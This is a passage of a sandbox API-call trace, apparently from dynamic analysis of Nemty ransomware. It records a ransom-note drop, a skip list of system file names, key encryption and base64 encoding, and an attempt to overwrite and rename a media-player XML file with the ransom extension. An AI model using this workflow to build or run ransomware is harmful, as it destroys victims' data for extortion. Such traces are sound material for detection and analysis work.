(HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0104.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941d0 [0104.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94248 [0104.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0104.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0104.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.104] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\media renderer\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0104.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.104] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.105] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0104.105] CloseHandle (hObject=0x3c4) returned 1 [0104.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0104.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0104.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf1b17c10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf1b17c10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0104.106] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0104.106] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf1b17c10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf1b17c10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0104.106] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0104.106] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0104.106] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2=".") returned 1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="..") returned 1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="...") returned 1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="windows") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="$RECYCLE.BIN") returned 1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="rsa") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="NTDETECT.COM") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="ntldr") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="MSDOS.SYS") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="IO.SYS") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="boot.ini") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="boot.ini") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="AUTOEXEC.BAT") returned 1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="ntuser.dat") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="desktop.ini") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="CONFIG.SYS") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="RECYCLER") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="BOOTSECT.BAK") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="bootmgr") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="programdata") returned -1 [0104.106] lstrcmpiW (lpString1="avtransport.xml", lpString2="appdata") returned 1 [0104.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0104.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="avtransport.xml", lpUsedDefaultChar=0x0) returned 15 [0104.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0104.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="avtransport.xml", lpUsedDefaultChar=0x0) returned 15 [0104.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0104.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="avtransport.xml", lpUsedDefaultChar=0x0) returned 15 [0104.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0104.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="avtransport.xml", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="avtransport.xml", lpUsedDefaultChar=0x0) returned 15 [0104.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0104.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.107] Sleep (dwMilliseconds=0x5) [0104.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1b3dd70, dwHighDateTime=0x1d561e7)) [0104.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1b3dd70, dwHighDateTime=0x1d561e7)) [0104.112] GetLastError () returned 0xb7 [0104.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.112] GetLastError () returned 0xb7 [0104.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.113] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94248 [0104.113] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94248, pcchString=0x653ef9c | out: pszString="Dz5UTM/WGiGWXjstOPGx60XIpEABASPBm1hMVJpgRpgKjnu/Y0oFbiXwJbuIxHwG\r\nC0XStd4amzMt07uRb5+Gb47vaCNy72PWFjdJ9VB68iE8CwFG6Ep2AAz0QnQ5hegN\r\naxcVnbnHHUwaZSuC7XxhobuzXsWOI21IZDG8jBi7BsVgrQ1C4rJZ5/Vw7kJy8jux\r\nNw3rvP5kP3KbWayi0ZMyPn3KIScOq/dWfSv1wdhYKkBaTYMzL2l8qA40I1zv1FTQ\r\nfnbKTsy4YWBFF9k500uPEBM4q2fRA5NG2CnTbx/X1GvSlaLfLVUaBpFoQHh64BF6\r\n7POq3rXQ/zsYZmwe95zkdg==\r\n", pcchString=0x653ef9c) returned 1 [0104.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94248 [0104.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.113] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94248, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.262] CloseHandle (hObject=0xffffffff) returned 0 [0104.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0104.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0104.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml._nemty_kgobjgd_")) returned 0 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.262] HeapFree (in: hHeap=0x4f90000, 